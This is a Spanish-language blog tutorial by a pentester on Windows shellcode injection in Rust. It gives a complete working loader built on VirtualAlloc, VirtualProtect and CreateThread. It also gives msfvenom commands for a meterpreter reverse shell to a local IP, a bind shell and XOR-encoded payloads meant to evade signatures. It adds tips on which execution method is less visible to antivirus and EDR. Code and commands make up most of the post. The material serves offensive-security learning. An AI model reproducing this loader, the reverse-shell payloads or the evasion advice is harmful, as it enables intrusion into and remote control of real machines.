Volver al blog

Inyección de Shellcode en Windows: Guía Práctica Paso a Paso

La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.

David Herrera
David Herrera Shac0x
25 min
Inyección de Shellcode en Windows: Guía Práctica Paso a Paso

Inyección de Shellcode en Windows

La inyección de shellcode es una de las técnicas fundamentales en investigación de seguridad y desarrollo de malware. Esta guía te proporcionará tanto el conocimiento teórico como las habilidades prácticas necesarias para dominar esta técnica.

En este post crearemos un programa funcional en Rust que ejecuta shellcode en memoria de forma segura y controlada. Aprenderás exactamente cómo Windows maneja la memoria, cómo manipularla de forma segura y cómo ejecutar código arbitrario. Al final, no solo sabrás el “qué”, sino el “cómo” y el “por qué”.

Requisitos previos

  • Conocimiento básico de Rust (no necesitas ser experto)
  • Comprensión fundamental de arquitectura x64
  • Entorno Windows (Windows 10/11 o máquina virtual)
  • Rust y Cargo instalados (rustup.rs)
  • Kali Linux con msfvenom (opcional, pero recomendado)

¿Qué es una Shellcode? Definición Técnica

Una shellcode es un fragmento compacto de código máquina, típicamente escrito en lenguaje ensamblador x86/x64, diseñado para ejecutarse como carga útil en exploits, inyecciones de código o malware.

¿Sabías que?

El término “shellcode” proviene originalmente de la intención de abrirse una shell de comandos, pero en la actualidad se usa para cualquier código inyectado que realice acciones específicas en un sistema comprometido.

Windows APIs Esenciales para Inyección de Código

Para inyectar y ejecutar shellcode en Windows, necesitamos dominar tres Windows APIs críticas que actúan en conjunto para manipular la memoria del proceso:

1. VirtualAlloc: Reservando Espacio de Memoria

VirtualAlloc es la función base para cualquier operación de inyección de código en Windows. Reserva o asigna memoria en el espacio de direcciones virtuales del proceso actual.

Firma de la función:

// windows-sys crate
pub unsafe fn VirtualAlloc(
    lpaddress: *const c_void,      // Dirección deseada (null = automático)
    dwsize: usize,                 // Tamaño en bytes
    flallocationtype: u32,         // Tipo de asignación
    flprotect: u32,                // Protección inicial
) -> *mut c_void;

Parámetros detallados:

  • lpAddress: Dirección inicial donde asignar memoria. Normalmente NULL para dejar que Windows decida automáticamente
  • dwSize: Tamaño en bytes. Debe ser múltiplo del tamaño de página (4096 bytes en x64)
  • flAllocationType: Controla cómo se asigna la memoria:
    • MEM_COMMIT: Asigna memoria física real
    • MEM_RESERVE: Solo reserva rango de direcciones (sin memoria física)
    • MEM_COMMIT | MEM_RESERVE: Combinación (recomendada) para garantizar disponibilidad inmediata
  • flProtect: Protección inicial de la página:
    • PAGE_READWRITE: Lectura/escritura (usado para escribir shellcode)
    • PAGE_EXECUTE_READ: Ejecución/lectura (usado después de escribir)
    • PAGE_EXECUTE_READWRITE: Ejecución/lectura/escritura (evitar por seguridad)

Valor de retorno: Dirección de la memoria asignada o NULL si falla

¿Por qué lo vamos a usar para inyectar una shellcode?:

Cuando hablamos de inyección de shellcode, VirtualAlloc juega un papel crucial. Esta función reserva un bloque de memoria limpio donde inyectaremos nuestro payload, y lo mejor es que te permite especificar exactamente qué permisos quieres desde el inicio (inicialmente PAGE_READWRITE para poder escribir el código). Una vez que la función termina, te devuelve la dirección exacta donde escribirás tu shellcode, por lo que sabes exactamente dónde trabajar.

2. VirtualProtect: Cambiando Permisos de Ejecución

Documentación oficial: Microsoft Learn - VirtualProtect

VirtualProtect modifica los permisos de una región de memoria ya asignada. Es crucial para convertir memoria de lectura/escritura en memoria ejecutable.

Firma de la función:

// windows-sys crate
pub unsafe fn VirtualProtect(
    lpaddress: *const c_void,      // Dirección de memoria
    dwsize: usize,                 // Tamaño
    flnewprotect: u32,             // Nuevos permisos
    lpfloldprotect: *mut u32,      // Parámetro de retorno
) -> i32; // BOOL (0 = false, != 0 = true)

Parámetros detallados:

  • lpAddress: Dirección de inicio de la región a cambiar
  • dwSize: Número de bytes a cambiar
  • flNewProtect: Nuevos permisos (típicamente PAGE_EXECUTE_READ)
  • lpflOldProtect: Puntero a variable DWORD que recibe los permisos anteriores (importante para restaurar)

Valor de retorno: TRUE si tiene éxito, FALSE si falla

3. CreateThread: Ejecutando el Código Inyectado

Documentación oficial: Microsoft Learn - CreateThread

CreateThread crea un nuevo hilo dentro del proceso actual que comienza a ejecutar en una dirección de memoria especificada.

Firma de la función:

// windows-sys crate
pub unsafe fn CreateThread(
    lpthreadattributes: *const SECURITY_ATTRIBUTES, // null normalmente
    dwstacksize: usize,                             // 0 = tamaño por defecto
    lpstartaddress: LPTHREAD_START_ROUTINE,         // Dirección a ejecutar
    lpparameter: *const c_void,                     // Parámetro para función
    dwcreationflags: u32,                           // 0 = ejecutar inmediatamente
    lpthreadid: *mut u32,                           // ID del hilo (null válido)
) -> HANDLE;

Ventajas de usar CreateThread:

  • Aísla la ejecución en un hilo separado
  • No interrumpe el flujo del programa principal
  • Permite esperar a que termine la ejecución con WaitForSingleObject
  • Más visible en monitoreo (algunos AVs detectan esto)

Alternativa: Puntero de función (menos detectable)

let shellcode_fn: fn() = std::mem::transmute(shellcode_addr);
shellcode_fn();

El flujo completo: cómo trabajan juntas las tres APIs

Ahora que hemos entendido cada API individualmente, es importante ver cómo trabajan en conjunto. La forma en que estas tres APIs se coordinan es elegante y sencilla.

Primero, utilizamos VirtualAlloc para reservar un bloque de memoria limpio en el espacio de direcciones del proceso, estableciendo permisos iniciales de PAGE_READWRITE para poder escribir el código. Una vez que hemos copiado el shellcode en esa ubicación, llamamos a VirtualProtect para cambiar esos permisos a PAGE_EXECUTE_READ, permitiendo que la CPU pueda leer y ejecutar el código sin poder modificarlo. Finalmente, utilizamos CreateThread para crear un nuevo hilo que comience a ejecutar desde la dirección donde colocamos nuestro shellcode.

Generando tu Primera Shellcode con Msfvenom

Ahora que entiendes cómo funcionan las APIs de Windows y cómo trabajan juntas para ejecutar código, es momento de crear el payload que inyectaremos. Aquí es donde entra en juego msfvenom, una herramienta poderosa que genera automáticamente el shellcode que necesitamos.

En lugar de escribir manualmente código en ensamblador (lo cual veremos en próximos posts), msfvenom genera el código máquina compilado listo para inyectar. Esta herramienta es estándar en el ámbito de la seguridad ofensiva y te permite crear payloads personalizados en cuestión de segundos.

Requisitos

  • Kali Linux o cualquier distribución con Metasploit Framework instalado
  • msfvenom (incluido por defecto en Kali)

Generando shellcode x64 para ejecutar calc.exe

La siguiente línea genera un payload que ejecuta la calculadora de Windows:

msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f rust

Desglose de parámetros:

  • -platform windows: Especifica que es para Windows
  • -arch x64: Arquitectura de 64 bits (x86-64)
  • p windows/x64/exec: Payload que ejecuta comandos
  • CMD=calc.exe: El comando a ejecutar
  • f rust: Formato de salida rust (array de bytes)

Salida esperada

El comando generará algo como:

msfvenom-shellcode.webp

Este es un array de bytes que contiene el código máquina que ejecutará nuestro comando.

Comandos alternativos útiles

La belleza de msfvenom es su flexibilidad. Aunque hemos visto cómo generar un payload simple que ejecuta calc.exe, la herramienta puede crear mucho más. Aquí te mostramos algunos comandos útiles para diferentes escenarios comunes en pentest e investigación de seguridad.

Reverse shell TCP:

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f rust

Bind shell (escucha en puerto):

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
  LPORT=4444 -f rust

Payload con codificación (evitar firmas):

msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
  -e x64/xor -f rust -i 3

Implementación práctica: Manos a la obra

Ya hemos cubierto toda la teoría: entiendes cómo funcionan las APIs de Windows, cómo se coordinan entre sí, y cómo generar payloads con msfvenom. Ahora es momento de poner todo esto en práctica y crear un programa funcional.

Comenzaremos con el primer paso fundamental: reservar memoria limpia donde inyectaremos nuestro shellcode usando VirtualAlloc.

Reservando memoria

Empecemos con lo más simple: calcular cuánto espacio necesitamos y decirle a Windows que nos reserve un bloque de memoria limpio. Para esto usamos VirtualAlloc, que es exactamente lo que necesitamos en este momento.

let shellcode_size = buf.len();

let shellcode_addr = unsafe {
    VirtualAlloc(
        null(),                              // Windows elige la dirección
        shellcode_size,                      // Número de bytes a reservar
        MEM_COMMIT | MEM_RESERVE,            // Ambas flags combinadas
        PAGE_READWRITE,                      // Permisos iniciales
    )
};

if shellcode_addr.is_null() {
    eprintln!("Error: VirtualAlloc falló ({})", unsafe { GetLastError() });
    return;
}

Puntos clave:

  • buf.len() obtiene automáticamente el tamaño exacto del slice en bytes
  • MEM_COMMIT | MEM_RESERVE garantiza disponibilidad inmediata
  • PAGE_READWRITE permite escribir el shellcode inicialmente
  • Siempre verificar que VirtualAlloc devuelva una dirección válida

Cambiando Permisos de Memoria con VirtualProtect

Ya tenemos el shellcode en memoria, pero todavía no puede ejecutarse. Windows protege la memoria por defecto, así que necesitamos cambiar los permisos para que la CPU pueda realmente ejecutar el código. Para esto usamos VirtualProtect.

Copiando y protegiendo

// Copiar shellcode a memoria
unsafe {
    std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
}

// Cambiar permisos a ejecutable
let mut old_protect: u32 = 0;
let result = unsafe {
    VirtualProtect(
        shellcode_addr,             // Dirección a cambiar
        shellcode_size,             // Tamaño
        PAGE_EXECUTE_READ,          // Nuevos permisos
        &mut old_protect,           // Guardar permisos anteriores
    )
};

if result == 0 {
    eprintln!("Error: VirtualProtect falló ({})", unsafe { GetLastError() });
    unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
    return;
}

Proceso paso a paso:

  1. copy_nonoverlapping copia bytes del slice al heap
  2. VirtualProtect cambia permisos a PAGE_EXECUTE_READ
  3. Ahora la CPU puede ejecutar el código

Ejecutando la Shellcode con CreateThread

Llegamos al momento de la verdad: ahora vamos a ejecutar realmente el shellcode. La forma más común y segura de hacerlo es crear un nuevo hilo dentro de nuestro proceso que comience a ejecutarse en la dirección donde colocamos el código. Para esto usamos CreateThread.

Método 1: Usando CreateThread

let h_thread = unsafe {
    CreateThread(
        null(),                                                    // Atributos por defecto
        0,                                                         // Stack size por defecto
        Some(std::mem::transmute(shellcode_addr)),                 // Dirección del shellcode
        null(),                                                    // Sin parámetros
        0,                                                         // Ejecutar inmediatamente
        null_mut(),                                                // Sin ID
    )
};

if !h_thread.is_null() {
    unsafe {
        WaitForSingleObject(h_thread, INFINITE);
        CloseHandle(h_thread);
    }
} else {
    eprintln!("Error: CreateThread falló ({})", unsafe { GetLastError() });
    unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
    return;
}

Ventajas:

  • ✅ Aísla la ejecución en un hilo separado
  • ✅ Más seguro (no bloquea el thread principal)
  • ❌ Más visible para EDR/AV

Método Alternativo: Puntero de Función (Menos Detectable)

Una técnica alternativa más sencilla es usar un puntero de función. Este método es menos visible para antivirus que monitorean CreateThread.

Usando puntero de función

// Type alias para mayor legibilidad
type ShellcodeFunc = fn();

let p_shellcode: ShellcodeFunc = unsafe { std::mem::transmute(shellcode_addr) };
p_shellcode();  // Ejecutar

Ventajas y desventajas:

Función de puntero:

  • ✅ Menos visible para monitoreo estándar
  • ✅ Código más compacto
  • ❌ Bloquea el thread principal
  • ❌ Si el shellcode no retorna, el programa cuelga

Código Completo y Demostración

Versión completa funcional

use std::io::{self, Read};
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{
    VirtualAlloc, VirtualFree, VirtualProtect,
    MEM_COMMIT, MEM_RELEASE, MEM_RESERVE,
    PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use windows_sys::Win32::System::Threading::{
    CreateThread, WaitForSingleObject, INFINITE,
};

fn main() {
    let buf: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50,
        0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
        // [... aquí tu shellcode ]
    ];

    let shellcode_size = buf.len();
    println!("[*] Tamaño: {} bytes\n", shellcode_size);

    // PASO 1: Reservar memoria
    let shellcode_addr = unsafe {
        VirtualAlloc(
            null(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        )
    };

    if shellcode_addr.is_null() {
        println!("[!] VirtualAlloc falló");
        return;
    }
    println!("[+] Memoria en: {:?}", shellcode_addr);
    wait_for_enter();

    // PASO 2: Copiar shellcode
    unsafe {
        std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
    }
    println!("[+] Shellcode copiado");
    wait_for_enter();

    // PASO 3: Cambiar permisos
    let mut old_protect: u32 = 0;
    let result = unsafe {
        VirtualProtect(shellcode_addr, shellcode_size, PAGE_EXECUTE_READ, &mut old_protect)
    };

    if result == 0 {
        println!("[!] VirtualProtect falló");
        unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
        return;
    }
    println!("[+] Permisos cambiados");
    wait_for_enter();

    // PASO 4: Ejecutar
    let h_thread = unsafe {
        CreateThread(
            null(),
            0,
            Some(std::mem::transmute(shellcode_addr)),
            null(),
            0,
            null_mut(),
        )
    };
    wait_for_enter();

    if !h_thread.is_null() {
        unsafe {
            WaitForSingleObject(h_thread, INFINITE);
            CloseHandle(h_thread);
        }
    } else {
        println!("Error: CreateThread falló ({})", unsafe { GetLastError() });
        unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
    }
}

fn wait_for_enter() {
    let _ = io::stdin().read(&mut [0u8]).unwrap();
}

Compilación y ejecución

Cargo.toml:

[package]
name = "shellcode"
version = "0.1.0"
edition = "2021"

[dependencies]
windows-sys = { version = "0.59", features = [
    "Win32_Foundation",
    "Win32_System_Memory",
    "Win32_System_Threading",
    "Win32_Security"
] }

Compilar:

cargo build --release

Demo:

shellcode-demo.gif

Subiendo a VirusTotal: Entendiendo las Detecciones

Ahora que tenemos nuestro binario compilado, es momento de hacer una prueba importante: subir el ejecutable a VirusTotal para ver cómo los antivirus lo detectan.

¿Por qué se detecta?

Es completamente normal que nuestro shellcode injector sea detectado por múltiples antivirus. Esto ocurre porque:

  • No tiene ofuscación: El código es directo y fácil de analizar
  • Usa APIs detectables: VirtualAlloc, VirtualProtect y CreateThread son patrones comunes en malware
  • Sin encriptación: El shellcode está en texto plano
  • Sin anti-análisis: No tenemos protecciones contra debuggers o análisis dinámicos

Resultado esperado en VirusTotal

Al subir el binario a VirusTotal, verás algo como esto:

Virustotal

Multiples motores de análisis lo detectarán como potencial shellcode injector o malware genérico. Esto es esperado y demuestra que nuestro código funciona, pero también que necesita protecciones.

En proximos posts veremos como proteger y modificar nuestro binario para que sea mas dificil de detectar.

Lo que hemos aprendido

En este tutorial completo sobre inyección de shellcode, hemos cubierto:

  1. Fundamentos teóricos: Qué es shellcode y por qué es importante
  2. Windows APIs críticas: VirtualAlloc, VirtualProtect y CreateThread
  3. Generación de payloads: Cómo usar msfvenom para crear shellcode
  4. Implementación práctica: Código funcional en Rust paso por paso
  5. Métodos de ejecución: CreateThread vs puntero de función

Reflexión sobre lo aprendido

A lo largo de este viaje, hemos descubierto que la inyección de shellcode no es magia, sino un proceso lógico y bien definido. Hemos visto cómo tres APIs simples de Windows pueden coordinarse para realizar tareas poderosas, utilizando Rust como lenguaje.

Lo más importante es que ahora entiendes no solo el “qué” (cómo inyectar shellcode), sino el “por qué” detrás de cada paso.

Recuerda que este conocimiento conlleva responsabilidad: úsalo siempre en contextos autorizados y de forma ética.

Compartir este artículo

Sobre el autor

David Herrera

Pentester specializing in penetration testing, vulnerability identification, and securing systems against advanced threats.

📍 España
Ver perfil en GitHub

Artículos relacionados

Enlace copiado
Enlace copiado al portapapeles